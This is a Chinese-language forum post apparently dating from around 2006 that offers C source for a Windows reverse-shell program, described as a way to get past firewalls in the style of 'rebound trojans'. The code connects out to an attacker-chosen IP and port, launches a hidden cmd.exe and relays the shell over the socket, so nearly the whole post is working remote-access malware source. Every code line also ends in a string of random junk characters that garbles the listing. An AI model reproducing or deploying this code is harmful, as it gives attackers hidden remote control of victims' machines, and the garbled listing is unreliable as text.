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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I+,CiJ|4  
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/* ============================== p=m:^9/  
Rebound port in Windows NT !4T!@"#  
By wind,2006/7 m8V}E& 6  
===============================*/ Q_Wg4n5  
#include `2/V.REX$h  
#include DYoGtks(  
g;Zy3   
#pragma comment(lib,"wsock32.lib") kA> e*6  
cbYQ';{  
void OutputShell(); <kk!nsI  
SOCKET sClient; ,pY:kQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G^';9 UK  
dUUg}/  
void main(int argc,char **argv) ' &3,qT  
{ }>EWF E`  
WSADATA stWsaData; H:P7G_!\  
int nRet; M?AKJE j5  
SOCKADDR_IN stSaiClient,stSaiServer; qi ">AQpp  
^wD`sj<Qg  
if(argc != 3) ~(#iGc]7  
{ !b=W>5h  
printf("Useage:\n\rRebound DestIP DestPort\n"); *^w}SE(  
return; Ss0I{0  
} >=:^N-a  
_Ie:!q  
WSAStartup(MAKEWORD(2,2),&stWsaData); rHi4Pw{L  
dtE"1nR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T2n3g|4  
S>)[n]f  
stSaiClient.sin_family = AF_INET; w IP4Z^  
stSaiClient.sin_port = htons(0); "%b Gw v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~ToU._  
do*aE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  <k0/O  
{ p I~;3T:!  
printf("Bind Socket Failed!\n"); |?]doBm|  
return; e0#t  
} 'tDUPm38  
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stSaiServer.sin_family = AF_INET; `H 'wz7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^KnK \  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BOh^oQh  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sfa=AV7K  
{ gX7R-&[UD  
printf("Connect Error!"); )Ay9 0Wt  
return; C#4_`4{  
} >q0%yh-  
OutputShell(); c%bzrYQvA;  
} !{{gL=_@  
i"=lxqWeaV  
void OutputShell() B,&QI&k`~  
{ yn"4qC#Z  
char szBuff[1024]; tj*/%G{Y  
SECURITY_ATTRIBUTES stSecurityAttributes; O;5lF  
OSVERSIONINFO stOsversionInfo; ?;H}5>^8P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pjn{3/*wi  
STARTUPINFO stStartupInfo; j@w1S[vt  
char *szShell; :`E p#[Wvo  
PROCESS_INFORMATION stProcessInformation; oam;hmw  
unsigned long lBytesRead; o(H.1ESk  
9e c},~(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =R~zD4{"  
4 R(m$!E!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HTv#2WX  
stSecurityAttributes.lpSecurityDescriptor = 0; QxN1N^a0  
stSecurityAttributes.bInheritHandle = TRUE; qE|syA9  
&r~s3S{pQ  
QQ_7Q^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H9PnJr8 \  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1q@R04i  
X:I2wJDs\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  jr_z ?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hF$qH^-c*A  
stStartupInfo.wShowWindow = SW_HIDE; <hj2'd U  
stStartupInfo.hStdInput = hReadPipe; GmaNi  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [0hahR  
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GetVersionEx(&stOsversionInfo); <,rOsE6  
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switch(stOsversionInfo.dwPlatformId) ggiy{CdR  
{ oP9 y@U  
case 1: lSW'qgh  
szShell = "command.com"; IM7<z,*oF  
break; z#ki# o  
default: ]@ke_' "  
szShell = "cmd.exe"; i;U*Y *f  
break; fISK3t/=C  
} _ilitwRN3  
SOOJqC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {wsJ1 v8!  
=*jFaj  
send(sClient,szMsg,77,0); @4D{lb"{  
while(1) ^=n7E  
{ '"\'<>Be  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eBs.RR ]O  
if(lBytesRead) >X eXd{$  
{ vq^';<Wh.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F]PsS(  
send(sClient,szBuff,lBytesRead,0); LiV&47e*>  
} jx}'M$TA  
else Kx&" 9g$  
{ ooUVVp  
lBytesRead=recv(sClient,szBuff,1024,0); JO0o@M5H  
if(lBytesRead<=0) break; E:ci/09wD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *d;TpwUI  
} Mmu#hb|W  
} H$C*&p  
lFnYQab  
return; ]W14'Z  
}
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